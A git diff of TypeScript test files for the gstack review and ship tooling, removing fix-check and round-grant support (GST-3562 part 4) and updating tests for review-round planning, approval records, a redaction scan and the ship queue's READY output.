index b35a3f7cf..4d7f55a00 100644
--- a/test/gstack-post.test.ts
+++ b/test/gstack-post.test.ts
@@ -16,7 +16,6 @@ import { runReceiptFields, type RunEvidence } from "../lib/run-evidence";
import type { ShipReceipt } from "../lib/headless-artifacts";
import { foldSections, unfoldSections } from "../lib/pr-body-shape";
import { buildRow, renderRecord, type ApprovalRow, type StoreLocation } from "../lib/approval-record";
-import { reviewRoundGrantRow } from "../lib/review-round-grant";
interface Call { cmd: string; args: string[]; input?: string }
@@ -497,14 +496,14 @@ describe("gstack-post owns the redaction scan", () => {
});
// Value: protects=a private PR's Approvals table (renderRecord, full mode) posts through pr-body without a pii.phone.e164 confirmation when a
- // fix-check grant row's Covers cell names a run id like 507-7192673 (GST-3246, trail-read row 8), while the same digits in that row's
+ // fix-check grant row recorded before GST-3562 part 4 (an old row still renders) has a Covers cell naming a run id like 507-7192673 (GST-3246, trail-read row 8), while the same digits in that row's
// Asked or Exact words cell, in prose, or in a table no Source footer closes still need one; fails_when=every private /ship body with such a
// grant needs --confirm, or the exemption reaches past the stop= token of a renderer-shaped table; seam=fake run; no_claim=real gh
test("a fix-check grant's run id in a rendered Approvals table is no phone number; the same digits anywhere else still are", () => {
const HEAD = "2294465066182c2f99d64ba0016213463aaa0c14";
const loc: StoreLocation = { file: "/x", branch: "fix-undo-line", slug: "acme-widget", ephemeral: false };
const grant = (reason: string, words = "one fix round") => {
- const row = buildRow({ ...reviewRoundGrantRow(HEAD, 507, "fix-check", reason, { run: "507-7192673", findings: ["p2/outside-voice#3"] }), words, by: "GStack Minder (GSTA-36)" }, loc.branch);
+ const row = buildRow({ scope: `review_round_grant ${HEAD} pr=507 kind=fix-check stop=507-7192673 findings=p2/outside-voice#3`, ask: `review_round_grant fix-check at ${HEAD} for pr 507: ${reason}`, words, by: "GStack Minder (GSTA-36)" }, loc.branch);
if ("code" in row) throw new Error(row.message);
return row;
};
diff --git a/test/gstack-ship-queue.test.ts b/test/gstack-ship-queue.test.ts
index 164b2aaa4..342b76149 100644
--- a/test/gstack-ship-queue.test.ts
+++ b/test/gstack-ship-queue.test.ts
@@ -790,11 +790,11 @@ describe('printed gate-ahead command (review #3235 P2-1)', () => {
}, 180_000);
});
-describe('the READY tail ready fills in: TRIAL_MERGES and the cross-family trail read (GST-3200)', () => {
- // Value: protects=READY carries a computed trial-merge line per open PR sharing a file and a reviewer line read from the trail,
- // or MISSING, never a template line a lane can cut; fails_when=ready prints the TRIAL_MERGES or reviewed by <model ...>
- // placeholder (three gate-class PRs skipped the rule 27 read on 11-19); seam=bin/gstack-ship-queue ready with a gh shim
- test('one line per sibling from git merge-tree, and the reviewer from the trail-read row, else MISSING', () => {
+describe('the READY tail ready fills in: TRIAL_MERGES and the risk class (GST-3200)', () => {
+ // Value: protects=READY carries a computed trial-merge line per open PR sharing a file, or MISSING, and its Attention section
+ // opens with the receipt's risk class, never a template line a lane can cut; fails_when=ready prints the TRIAL_MERGES
+ // placeholder or an Attention section with no risk class; seam=bin/gstack-ship-queue ready with a gh shim
+ test('one line per sibling from git merge-tree, else MISSING, and Attention opens with the risk class', () => {
const repo = fixture();
const sibling = (branch: string, files: Record<string, string>, pr: string) => {
repo.git('checkout', '-q', 'origin/main', '-b', branch);
@@ -814,21 +814,17 @@ describe('the READY tail ready fills in: TRIAL_MERGES and the cross-family trail
const list = [{ number: 1, headRefOid: head, files: files('pr-a.txt') }, { number: 2, headRefOid: conflict, files: files('pr-a.txt') }, { number: 3, headRefOid: clean, files: files('pr-a.txt', 'c.txt') }, { number: 4, headRefOid: apart, files: files('d.txt') }];
const green = { check_runs: [{ status: 'completed', conclusion: 'success' }] };
const prs = { '1': { headRefOid: head, body: shippedBody('1', head), headRefName: 'pr-a' } };
- const trail = path.join(repo.root, 'decisions.tsv');
- fs.writeFileSync(trail, 'ts\tphase\tdecision\twhy\tevidence\tresult\n2026-11-19T00:00:00Z\tstart\trun x opens this trail\tno earlier rows\trun:x\topen\n2026-11-19T00:01:00Z\ttrail-read\topenai/gpt-6.2-sol (Subagent 4)\trule 27\tflags.md\tNo flags\n');
- const r = queue(repo, ['ready', '--pr', '1', '--pregate', pregate, '--trail', trail], ghQueueShim(repo, { prs, checks: { [head]: green }, list }));
+ const r = queue(repo, ['ready', '--pr', '1', '--pregate', pregate], ghQueueShim(repo, { prs, checks: { [head]: green }, list }));
expect(r.status, r.err).toBe(EXIT.ok);
const cleanTree = repo.git('merge-tree', '--write-tree', head, clean);
expect(r.out.split('\n').filter(l => l.startsWith('TRIAL_MERGES: '))).toEqual([
`TRIAL_MERGES: #2 ${conflict.slice(0, 12)} shares pr-a.txt: CONFLICT in pr-a.txt; the lane states the resolution`,
`TRIAL_MERGES: #3 ${clean.slice(0, 12)} shares pr-a.txt: merge-tree clean (tree ${cleanTree.slice(0, 12)})`,
]);
- expect(line(r.out, 'Attention:')).toBe('Attention:');
- expect(r.out).toContain('\nreviewed by openai/gpt-6.2-sol (Subagent 4) (risk class unknown: the receipt records no review_depth; rule 27 cross-family trail read, trail row 2)\n');
- expect(r.out).not.toContain('<model on another family>');
+ expect(r.out).toContain('\nAttention:\nrisk class unknown: the receipt records no review_depth\n');
+ expect(r.out).not.toContain('trail');
const bare = queue(repo, ['ready', '--pr', '1', '--pregate', pregate], ghQueueShim(repo, { prs, checks: { [head]: green } }));
expect(line(bare.out, 'TRIAL_MERGES: ')).toStartWith('TRIAL_MERGES: MISSING: cannot list the open PRs into main through gh');
- expect(line(bare.out, 'MISSING: cross-family')).toStartWith('MISSING: cross-family trail read (risk class unknown: the receipt records no review_depth; rule 27): ready got no --trail <decisions.tsv>;');
const alone = queue(repo, ['ready', '--pr', '1', '--pregate', pregate], ghQueueShim(repo, { prs, checks: { [head]: green }, list: [list[0], list[3]] }));
expect(line(alone.out, 'TRIAL_MERGES: ')).toBe('TRIAL_MERGES: none share a file (1 open PRs checked)');
}, 240_000);
diff --git a/test/helpers/gst3562-replay.ts b/test/helpers/gst3562-replay.ts
index bf420becf..9b0b96c29 100644
--- a/test/helpers/gst3562-replay.ts
+++ b/test/helpers/gst3562-replay.ts
@@ -22,12 +22,21 @@
* g. main planned a scoped pass after a small blocking fix; the branch plans a full pass on the same range that keeps main's
* readers the way kind a does, so no reader runs outside the pass record (GST-3562 part 3; Captain GStack Minder, 2026-11-24),
* and each specialist main dispatched is read by a branch specialist under its name or checklist excluding no more paths.
+ * h. a history main accepted and the branch no longer can be given (GST-3562 part 4): a fix-check as the last step, a fix-check
+ * count, or a fix-check or round grant. Since part 1 no plan names a fix-check, and part 4 removed the flags that carried them
+ * (gstack-review-plan refuses --last fix-check, --fix-checks, --grant, --round-grant and --stop), so no run reaches this state;
+ * main's plan is read back unchanged.
*/
import { expect } from 'bun:test';
import { planReviewAt, type PlanInput, type ReviewPlan } from '../../lib/review-depth';
import { mainNextStep } from '../fixtures/review-depth-main/next-step-0408128';
-export type Gst3562Kind = 'a' | 'b' | 'c' | 'd' | 'e' | 'f' | 'g';
+export type Gst3562Kind = 'a' | 'b' | 'c' | 'd' | 'e' | 'f' | 'g' | 'h';
+
+/** Kind h: a history field gstack-review-plan no longer accepts (GST-3562 part 4). */
+export function retiredHistory(h: PlanInput['history']): boolean {
+ return h.last === 'fix-check' || h.granted !== undefined || h.roundGrant !== undefined || h.grantedStop !== undefined || h.chained === true || (h.fixChecks ?? 0) > 0;
+}
export function asMainBeforeGst3562(input: PlanInput, plan: ReviewPlan): { plan: ReviewPlan; kind?: Gst3562Kind } {
const main = planReviewAt(input, mainNextStep);
@@ -35,7 +44,8 @@ export function asMainBeforeGst3562(input: PlanInput, plan: ReviewPlan): { plan:
const h = input.history;
const [was, now] = [main.next, plan.next];
const kind: Gst3562Kind | undefined =
- was.step === now.step && ['stop', 'voices', 'done'].includes(now.step) ? 'b'
+ retiredHistory(h) ? 'h'
+ : was.step === now.step && ['stop', 'voices', 'done'].includes(now.step) ? 'b'
: was.step === 'fix-check' && (now.step === 'full' || now.step === 'scoped') && now.reason.includes('GST-3562 A') ? 'a'
: was.step === 'fix-check' && (now.step === 'stop' || now.step === 'voices') && now.reason.includes('a fix followed the read-only final review') ? 'c'
: was.step === 'done' && !!h.fixedBelow && ['full', 'stop', 'voices', 'fix-check'].includes(now.step) ? 'd'
diff --git a/test/no-stop.test.ts b/test/no-stop.test.ts
index 2a058f084..802d52c8f 100644
--- a/test/no-stop.test.ts
+++ b/test/no-stop.test.ts
@@ -106,32 +106,12 @@ describe('gstack-no-stop record: the ledger, the grant and the receipt', () => {
fs.mkdirSync(path.dirname(reviewLog), { recursive: true });
fs.writeFileSync(reviewLog, JSON.stringify({ skill: 'review', commit_full: base }) + '\n');
- test('a docs-only round-2 fix records the class, prints the grant, and the ledger is a valid receipt no_stop', () => {
- fs.writeFileSync(path.join(work, 'docs', 'guide.md'), 'new wording\n');
- git('commit', '-qam', 'docs fix');
- const narrow = run('record', '--class', 'scoped-fix-check', '--range-base', 'HEAD~0', '--reason', 'r', '--evidence', 'e');
- expect(narrow.status).toBe(3);
- expect(narrow.stderr).toContain('is not the commit the last review pass read');
- const r = run('record', '--class', 'scoped-fix-check', '--range-base', base, '--reason', 'round-2 fix reworded docs/guide.md', '--evidence', `commit ${git('rev-parse', 'HEAD').slice(0, 12)}`);
- expect(r.status, r.stderr).toBe(0);
- expect(r.stdout).toMatch(/^NO_STOP: scoped-fix-check recorded \(docs-only fix in docs\/guide\.md\)$/m);
- expect(r.stdout).toMatch(/^GRANT: \S+$/m);
- expect(r.stdout).toContain(`--range-base ${base}`);
- const file = r.stdout.match(/^NO_STOP_FILE: (.+)$/m)![1]!;
- const rows = JSON.parse(fs.readFileSync(file, 'utf8'));
- expect(rows).toEqual([{ class: 'scoped-fix-check', reason: 'round-2 fix reworded docs/guide.md', evidence: expect.stringMatching(/^commit /) }]);
- const approvals = spawnSync('bun', [...bunIsolationArgs(), path.join(ROOT, 'bin', 'gstack-approvals'), 'list', '--json'], { cwd: work, encoding: 'utf8', timeout: 60_000, env });
- const grant = r.stdout.match(/^GRANT: (\S+)$/m)![1];
- expect(JSON.parse(approvals.stdout).rows ?? JSON.parse(approvals.stdout)).toEqual(expect.arrayContaining([expect.objectContaining({ id: grant, outcome: 'approved', by: 'gstack no-stop default (K1)', scope: `review_loop_grant ${git('rev-parse', 'HEAD')}` })]));
- const receipt = { schema_version: 1, pr: 1, head: 'e'.repeat(40), version: '1.0.0.0', base: 'main', gate: {}, no_stop: rows };
- expect(validateReceipt(receipt as any).filter(e => /no_stop/.test(String(e)))).toEqual([]);
- });
- test('a second scoped fix-check and a code fix both stop for the owner (exit 3) and leave the ledger alone', () => {
+ test('a scoped fix-check (removed in GST-3562 part 4) and a code fix both stop (exit 3) and leave the ledger alone', () => {
const before = run('list', '--json');
const second = run('record', '--class', 'scoped-fix-check', '--range-base', base, '--reason', 'again', '--evidence', 'commit x');
expect(second.status).toBe(3);
- expect(second.stderr).toMatch(/^NO_STOP: refused scoped-fix-check \(one scoped-fix-check per branch is recorded already; a second goes to the owner\); stop for the owner$/m);
+ expect(second.stderr).toMatch(/^NO_STOP: refused scoped-fix-check \(removed with fix-check grants, GST-3562 part 4/m);
fs.writeFileSync(path.join(work, 'lib.ts'), 'export const a = 2;\n');
git('commit', '-qam', 'code fix');
const code = run('record', '--class', 'test-timeout-fix', '--range-base', 'HEAD~1', '--reason', 'r', '--evidence', 'e');
@@ -140,15 +120,6 @@ describe('gstack-no-stop record: the ledger, the grant and the receipt', () => {
expect(run('list', '--json').stdout).toBe(before.stdout);
});
- test('a checkout with an empty ledger still sees the branch\'s K1 grant in the approval record and stops', () => {
- const file = JSON.parse(run('list', '--json').stdout).file as string;
- const saved = fs.readFileSync(file, 'utf8');
- fs.rmSync(file);
- const r = run('record', '--class', 'scoped-fix-check', '--range-base', base, '--reason', 'again', '--evidence', 'commit x');
- fs.writeFileSync(file, saved);
- expect(r.status).toBe(3);
- expect(r.stderr).toContain('the approval record already holds this branch\'s K1 grant');
- });
test('a class outside the four stops, and the range-based classes need --range-base', () => {
expect(run('record', '--class', 'merge-anyway', '--reason', 'r', '--evidence', 'e').status).toBe(3);
diff --git a/test/review-round-grant-own-lines.test.ts b/test/own-lines.test.ts
similarity index 98%
rename from test/review-round-grant-own-lines.test.ts
rename to test/own-lines.test.ts
index 59b2c425a..af3e4bdf8 100644
--- a/test/review-round-grant-own-lines.test.ts
+++ b/test/own-lines.test.ts
@@ -5,7 +5,7 @@
* base's changes, so a pure base merge still keeps the grant.
*/
import { afterEach, describe, expect, setDefaultTimeout, test } from 'bun:test';
-import { ownLinesSame } from '../lib/review-round-grant';
+import { ownLinesSame } from '../lib/own-lines';
import { shipFixture, type ShipFx } from './helpers/ship-bin-fixture';
setDefaultTimeout(60_000);
diff --git a/test/pr-review-history.test.ts b/test/pr-review-history.test.ts
index 898d5d0f1..52bc7814f 100644
--- a/test/pr-review-history.test.ts
+++ b/test/pr-review-history.test.ts
@@ -145,11 +145,9 @@ describe('route (F1: the merge head gets a full review; a re-check is advice onl
expect(reviewRoute({ full: 1 })).toMatchObject({ route: 'final', reason: expect.stringContaining('round 2 of 2') });
});
- test('at the cap a new head gets one read-only full review; an extra-round grant buys a round with its fix round', () => {
+ test('at the cap a new head gets one read-only full review', () => {
expect(reviewRoute({ full: 2 })).toMatchObject({ route: 'read-only', reason: expect.stringContaining('no fix round') });
expect(reviewRoute({ full: 3 }).route).toBe('read-only');
- expect(reviewRoute({ full: 2 }, { grant: 'a-1' })).toMatchObject({ route: 'final', reason: expect.stringContaining('a-1') });
- expect(reviewRoute({ full: 3 }, { grant: 'a-1' }).route).toBe('read-only');
});
test('a re-check carry from an old receipt adds no full round, so it never moves the route', () => {
diff --git a/test/pr-round-cli.test.ts b/test/pr-round-cli.test.ts
index 2d9340054..30ec19a4f 100644
--- a/test/pr-round-cli.test.ts
+++ b/test/pr-round-cli.test.ts
@@ -26,78 +26,31 @@ function repo() {
}
describe('gstack-review-plan with the PR round count', () => {
- test('two prior full rounds plan one read-only full review of HEAD; a grant at HEAD plans a round with its fix round', () => {
+ test('two prior full rounds plan one read-only full review of HEAD; --round-grant is refused (GST-3562 part 4)', () => {
const r = repo();
const ro = r.run('gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--prior-rounds', '2', '--prior-full', '2', '--pr', '5']);
expect(ro.status).toBe(0);
expect(ro.stdout).toMatch(/REVIEW_PLAN: class=\S+ pass=1 pr_rounds=2 next=full /);
expect(ro.stdout).toContain('read-only final review (R51)');
expect(ro.stdout).not.toContain('for the owner');
- const granted = r.run('gstack-approvals', ['round-grant', '--pr', '5', '--head', r.head, '--kind', 'extra-round', '--reason', 'the design changed after round 2', '--by', 'captain:test']);
- expect(granted.status).toBe(0);
- const id = /APPROVAL_RECORDED: (a-[0-9a-f]{12})/.exec(granted.stdout)?.[1];
- expect(id).toBeDefined();
- const full = r.run('gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--prior-rounds', '2', '--prior-full', '2', '--pr', '5', '--round-grant', id!]);
- expect(full.stdout).toContain('next=full');
- expect(full.stdout).toContain('round 3 of 3');
- expect(r.run('gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--prior-rounds', '2', '--prior-full', '2', '--pr', '6', '--round-grant', id!]).status).toBe(3);
+ expect(r.run('gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--prior-rounds', '2', '--prior-full', '2', '--pr', '5', '--round-grant', 'a-0123456789ab']).status).toBe(2);
expect(r.run('gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--prior-full', 'x']).status).toBe(2);
});
- test('a grant still plans after the fix round commits on top of its head, and never for a head off the branch', () => {
- const r = repo();
- const id = /APPROVAL_RECORDED: (a-[0-9a-f]{12})/.exec(r.run('gstack-approvals', ['round-grant', '--pr', '5', '--head', r.head, '--kind', 'extra-round', '--reason', 'the design changed after round 2', '--by', 'captain:test']).stdout)?.[1];
- expect(id).toBeDefined();
- const git = (...a: string[]) => spawnSync('git', a, { cwd: r.dir, encoding: 'utf8', timeout: 10_000 });
- fs.writeFileSync(path.join(r.dir, 'src', 'a.ts'), 'export const a = 2;\n'); git('commit', '-qam', 'fix');
- const decide = r.run('gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--prior-rounds', '2', '--prior-full', '2', '--pr', '5', '--round-grant', id!, '--pass', '2', '--last', 'full', '--fixed-below', '--range-base', r.head]);
- expect(decide.status).toBe(0);
- git('checkout', '-q', 'main'); git('checkout', '-qb', 'other'); fs.writeFileSync(path.join(r.dir, 'b.ts'), 'export const b = 1;\n'); git('add', '.'); git('commit', '-qm', 'other');
- expect(r.run('gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--prior-rounds', '2', '--prior-full', '2', '--pr', '5', '--round-grant', id!]).status).toBe(3);
- });
});
-describe('gstack-approvals round-grant', () => {
- test('gstack cannot grant itself a round, and add refuses the scope', () => {
+describe('round grants are gone (GST-3562 part 4)', () => {
+ test('round-grant is refused for every caller, and add refuses the scope', () => {
const r = repo();
expect(r.run('gstack-approvals', ['round-grant', '--pr', '5', '--head', r.head, '--kind', 'extra-round', '--reason', 'x', '--by', 'gstack']).status).toBe(2);
expect(r.run('gstack-approvals', ['round-grant', '--pr', '5', '--head', r.head, '--kind', 'more', '--reason', 'x', '--by', 'lane']).status).toBe(2);
expect(r.run('gstack-approvals', ['add', '--ask', 'a', '--words', 'w', '--by', 'b', '--scope', `review_round_grant ${r.head} pr=5 kind=extra-round`]).status).toBe(2);
});
-
- // Value: protects=a Captain whose crew name starts with gstack can grant a round, while gstack's own names stay refused;
- // fails_when=the self-grant check matches a prefix (gstack-evals Captain refused, #4518 follow-up); seam=bin/gstack-approvals
- test('a --by that only starts with gstack is a crew, not gstack: gstack-evals Captain records a grant', () => {
- const r = repo();
- for (const by of ['gstack', 'GStack', ' gstack no-stop default (K1) ']) expect(r.run('gstack-approvals', ['round-grant', '--pr', '5', '--head', r.head, '--kind', 'extra-round', '--reason', 'x', '--by', by]).status).toBe(2);
- const ok = r.run('gstack-approvals', ['round-grant', '--pr', '5', '--head', r.head, '--kind', 'extra-round', '--reason', 'x', '--by', 'gstack-evals Captain']);
- expect([ok.status, ok.stderr]).toEqual([0, '']);
- });
});
-// Value: protects=a run id that looks like a phone number passes in a fix-check grant's scope while the same digits in free text, or a
-// grant-shaped excerpt pasted into --reason, stay caught, and gstack's own names stay refused while a GStack-named crew rules;
-// fails_when=round-grant refuses --stop-run 507-7192673 (harness-evals #507), passes a phone number in --reason, or rule refuses
-// --by "GStack Minder (GSTA-36)"; seam=bin/gstack-approvals round-grant|rule|rulings, lib/approval-record.ts buildRow, lib/ruled-notes.ts
-describe('GST-3246: run ids in a fix-check grant, and GStack-named crews', () => {
- const grant = (r: ReturnType<typeof repo>, extra: string[]) => r.run('gstack-approvals', ['round-grant', '--pr', '507', '--head', r.head, '--reason', 'the undo line names the wrong migration', '--by', 'GStack Minder (GSTA-36)', ...extra]);
- const fixCheck = (run: string) => ['--kind', 'fix-check', '--stop-run', run, '--findings', 'p2/outside-voice#3'];
-
- test('a grant-shaped excerpt pasted into --reason keeps its phone number caught', () => {
- const r = repo();
- const pasted = r.run('gstack-approvals', ['round-grant', '--pr', '507', '--head', r.head, '--kind', 'fix-check', '--stop-run', 'ship-507', '--findings', 'p2/outside-voice#3', '--by', 'GStack Minder (GSTA-36)', '--reason', `review_round_grant ${r.head} pr=507 kind=fix-check stop=415-5551234 findings=x`]);
- expect([pasted.status, pasted.stderr]).toEqual([3, expect.stringContaining('pii.phone.e164')]);
- });
-
- test('a run id of a PR number, a dash and a short sha is no phone number in the grant, and the same digits in free text still are', () => {
- const r = repo();
- const ok = grant(r, fixCheck('507-7192673'));
- expect([ok.status, ok.stderr]).toEqual([0, '']);
- expect(r.run('gstack-approvals', ['list', '--json']).stdout).toContain('stop=507-7192673 findings=p2/outside-voice#3');
- const phone = r.run('gstack-approvals', ['round-grant', '--pr', '507', '--head', r.head, '--reason', 'call 507-7192673 first', '--by', 'GStack Minder (GSTA-36)', ...fixCheck('ship-507')]);
- expect([phone.status, phone.stderr]).toEqual([3, expect.stringContaining('pii.phone.e164')]);
- });
-
+// Value: protects=gstack's own names stay refused while a GStack-named crew rules; fails_when=rule refuses
+// --by "GStack Minder (GSTA-36)" or takes gstack's own name; seam=bin/gstack-approvals rule|rulings, lib/approval-record.ts buildRow, lib/ruled-notes.ts
+describe('GST-3246: GStack-named crews', () => {
test('rule takes --by "GStack Minder (GSTA-36)" and rulings lists it, while gstack\'s own names stay refused', () => {
const r = repo();
const rule = (by: string) => r.run('gstack-approvals', ['rule', '--finding', 'src/a.ts:1:correctness', '--head', r.head, '--reason', 'ships as a disclosed note', '--words', 'note it', '--by', by]);
diff --git a/test/review-depth-lean.test.ts b/test/review-depth-lean.test.ts
index 4bd89ff67..0b3be6016 100644
--- a/test/review-depth-lean.test.ts
+++ b/test/review-depth-lean.test.ts
@@ -180,11 +180,11 @@ describe('GST-3562 A no-loss replay across panels, prior rounds, round grants, t
const { kind } = asMainBeforeGst3562(input, planReview(input));
if (kind) kinds[`${name}:${kind}`] = (kinds[`${name}:${kind}`] ?? 0) + 1;
}
- expect(kinds).toEqual({ 'docs:a': 4134, 'docs:b': 6336, 'docs:c': 576, 'docs:d': 1086, 'docs:e': 576, 'docs:f': 2784, 'tests:a': 4134, 'tests:b': 6336, 'tests:c': 576, 'tests:d': 1086, 'tests:e': 576, 'tests:f': 2784, 'code:a': 3984, 'code:b': 6336, 'code:c': 576, 'code:d': 1056, 'code:e': 576, 'code:f': 3456, 'risk:a': 2664, 'risk:b': 6624, 'risk:c': 336, 'risk:d': 456, 'risk:e': 1152, 'risk:f': 3456, 'mixed:a': 3984, 'mixed:b': 6336, 'mixed:c': 576, 'mixed:d': 1056, 'mixed:e': 576, 'mixed:f': 3456 });
+ expect(kinds).toEqual({ 'docs:a': 1596, 'docs:b': 5472, 'docs:c': 288, 'docs:d': 564, 'docs:e': 288, 'docs:f': 2784, 'docs:h': 33084, 'tests:a': 1596, 'tests:b': 5472, 'tests:c': 288, 'tests:d': 564, 'tests:e': 288, 'tests:f': 2784, 'tests:h': 33084, 'code:a': 1536, 'code:b': 5472, 'code:c': 288, 'code:d': 552, 'code:e': 288, 'code:f': 3456, 'code:h': 33624, 'risk:a': 1032, 'risk:b': 5616, 'risk:c': 168, 'risk:d': 312, 'risk:e': 576, 'risk:f': 3456, 'risk:h': 33336, 'mixed:a': 1536, 'mixed:b': 5472, 'mixed:c': 288, 'mixed:d': 552, 'mixed:e': 288, 'mixed:f': 3456, 'mixed:h': 33624 });
}, 60_000);
test('the three corners keep the one full-effort reader main\'s fix-check was', () => {
const bot = { id: 'r1', head: HEAD, reviewer: 'capy-ai[bot]' };
- for (const panel of ['off', 'risk'] as const) for (const extra of [{}, { priorFull: 1, roundGrant: 'g-1' }, { priorFull: 2, roundGrant: 'g-1' }]) for (const platform of ['off', 'on'] as const) {
+ for (const panel of ['off', 'risk'] as const) for (const extra of [{}, { priorFull: 1 }]) for (const platform of ['off', 'on'] as const) {
const p = planReview(base({ paths: ['docs/a.md'], history: { fullPasses: 1, last: 'full', fixedBlocking: true, ...extra }, shape: lean({ panel, platform, platformReview: platform === 'on' ? bot : null }) }));
expect([panel, extra, platform, p.next.step, roles(p)]).toEqual([panel, extra, platform, 'full', ['red-team:red-team:full:-']]);
}
@@ -310,12 +310,6 @@ describe('R65 lean loop: one fix round, never more than 2 rounds', () => {
expect(roles(p('old'))).toContain('outside-voice:outside-voice (numbers changed)');
expect(roles(p(numbers.fingerprint))).not.toContain('outside-voice:outside-voice (numbers changed)');
});
- test('a fix-check blocker stops for the owner; a recorded grant adds one fix-check, never two', () => {
- expect(nextStep(h({ last: 'fix-check', fixedBlocking: true, fixChecks: 1 }), 'full').step).toBe('stop');
- expect(nextStep(h({ last: 'fix-check', fixedBlocking: true, fixChecks: 1, granted: 'apr_1' }), 'full').step).toBe('fix-check');
- expect(nextStep(h({ last: 'fix-check', fixedBlocking: true, fixChecks: 2, granted: 'apr_1' }), 'full').step).toBe('stop');
- expect(nextStep(h({ last: 'fix-check', fixedBlocking: true, granted: 'apr_1' }), 'full').step).toBe('stop');
- });
test('planReview marks the loop lean and round 2 dispatches the one full-effort reader with the merged brief, never a fix-check (GST-3562 A)', () => {
const p = planReview(base({ paths: ['lib/billing.ts'], history: { fullPasses: 1, last: 'full', fixedBlocking: true }, shape: lean({ panel: 'off' }) }));
expect([p.mode, p.next.step, roles(p)]).toEqual(['lean', 'full', ['adversarial-native:merged:full:lane']]);
diff --git a/test/review-depth.test.ts b/test/review-depth.test.ts
index 55e8c872c..df27754cc 100644
--- a/test/review-depth.test.ts
+++ b/test/review-depth.test.ts
@@ -56,12 +56,10 @@ describe('nextStep: the transition table', () => {
expect(nextStep({ fullPasses: FULL_PASS_CAP, last: 'full', fixedBlocking: true, touchedGate: true })).toMatchObject(readOnly);
expect(nextStep({ fullPasses: FULL_PASS_CAP + 1, last: 'full', fixedBlocking: true })).toMatchObject({ step: 'stop', reason: expect.stringContaining("a fix followed the read-only final review: the lane's Captain decides") });
});
- test('below-floor fixes in round 2 get the read-only full review unless a light diff\'s fixes change no runtime lines; after a fix-check they finish with notes', () => {
+ test('below-floor fixes in round 2 get the read-only full review unless a light diff\'s fixes change no runtime lines', () => {
expect(nextStep({ fullPasses: FULL_PASS_CAP, last: 'full', fixedBelow: true })).toMatchObject(readOnly);
expect(nextStep({ fullPasses: FULL_PASS_CAP, last: 'full', fixedBelow: true, rangeRuntimeLines: 0 }, 'light')).toMatchObject({ step: 'done', reason: expect.stringContaining('notes') });
expect(nextStep({ fullPasses: FULL_PASS_CAP, last: 'full', fixedBelow: true, rangeRuntimeLines: 0 }, 'standard')).toMatchObject(readOnly);
- expect(nextStep({ fullPasses: 1, last: 'fix-check', fixedBelow: true })).toMatchObject({ step: 'done', reason: expect.stringContaining('notes') });
- expect(nextStep({ fullPasses: 1, last: 'fix-check', fixedBelow: true, fixedBlocking: true }).step).toBe('stop');
});
test('a light pass 1 whose below-floor fixes change no runtime lines is done; a runtime fix or a deeper diff gets the full pass on the range (GST-3562 A)', () => {
expect(nextStep({ fullPasses: 1, last: 'full', fixedBelow: true, rangeRuntimeLines: 0 }, 'light').step).toBe('done');
@@ -71,23 +69,18 @@ describe('nextStep: the transition table', () => {
});
test('a blocker open at the cap stops', () => expect(nextStep({ fullPasses: FULL_PASS_CAP, last: 'full', blockingOpen: true }).step).toBe('stop'));
test('a blocker open with no fix stops', () => expect(nextStep({ fullPasses: 1, last: 'full', blockingOpen: true }).step).toBe('stop'));
- test('a fix-check that finds a blocker stops, never a third full pass', () => {
- expect(nextStep({ fullPasses: 1, last: 'fix-check', blockingOpen: true }).step).toBe('stop');
- expect(nextStep({ fullPasses: 2, last: 'fix-check', fixedBlocking: true }).step).toBe('stop');
- });
- test('a clean fix-check is done', () => expect(nextStep({ fullPasses: 1, last: 'fix-check' }).step).toBe('done'));
});
-// Value: protects=on gate class Step 11's adversarial, outside and targeted voices run before any Captain or owner exit the round cap reaches (since GST-3562 A a round-2 fix first gets the read-only full review, which dispatches them), and a recorded owner grant dispatches its one scoped fix-check after round 2, once; fails_when=a gate-class stop at the cap comes before Step 11 (C6-36 after-opus: next=stop, no voice ran), or a recorded grant still stops (C6-36 after-opus-grant: the lane hand-dispatched the fix-check);
-// why_new=GST-967; seam=nextStep, planReview; no_claim=the voices' or the fix-check's verdicts
-describe('GST-967: the round cap limits fix rounds, not the gate-class voices; a recorded grant runs its fix-check', () => {
+// Value: protects=on gate class Step 11's adversarial, outside and targeted voices run before any Captain or owner exit the round cap reaches (since GST-3562 A a round-2 fix first gets the read-only full review, which dispatches them); fails_when=a gate-class stop at the cap comes before Step 11 (C6-36 after-opus: next=stop, no voice ran);
+// why_new=GST-967; seam=nextStep, planReview; no_claim=the voices' verdicts
+describe('GST-967: the round cap limits fix rounds, not the gate-class voices', () => {
const capStop = { fullPasses: FULL_PASS_CAP, last: 'full', fixedBlocking: true } as const;
// GST-3562 A: a blocker fixed in round 2 now gets one read-only full review of the final head, so the Captain stop moves to a fix
// after that review (readOnlyStop); a blocker left open and a fix-check's blocker still stop at round 2.
const readOnlyStop = { ...capStop, fullPasses: FULL_PASS_CAP + 1 };
test('a gate-class blocker stop at the cap runs Step 11\'s voices before the Captain or owner stop, then stops', () => {
expect(nextStep({ ...readOnlyStop, gate: true })).toMatchObject({ step: 'voices', reason: expect.stringContaining("Step 11's voices") });
- for (const o of [{ fullPasses: FULL_PASS_CAP, blockingOpen: true }, { fixedBlocking: false, fixedBelow: true, touchedGate: true }, { fullPasses: 1, last: 'fix-check' as const }, { fullPasses: 1, blockingOpen: true }]) expect(nextStep({ ...readOnlyStop, gate: true, ...o }).step).toBe('voices');
+ for (const o of [{ fullPasses: FULL_PASS_CAP, blockingOpen: true }, { fixedBlocking: false, fixedBelow: true, touchedGate: true }, { fullPasses: 1, blockingOpen: true }]) expect(nextStep({ ...readOnlyStop, gate: true, ...o }).step).toBe('voices');
expect(nextStep({ ...readOnlyStop, gate: true, adversarialRan: true }).step).toBe('stop');
expect(nextStep(readOnlyStop).step).toBe('stop');
expect(nextStep({ ...capStop, gate: true })).toMatchObject({ step: 'full', reason: expect.stringContaining('read-only final review (R51)') });
@@ -101,105 +94,42 @@ describe('GST-967: the round cap limits fix rounds, not the gate-class voices; a
expect([v.class, v.next.step, roles(v)]).toEqual(['gate', 'voices', ['adversarial-native:adversarial:full', 'outside-voice:outside-voice:host', 'targeted:targeted:full']]);
expect(planReview(base({ gateTagged: 1, adversarialRan: true, targeted: { classes: ['gate'] }, history: after })).next.step).toBe('stop');
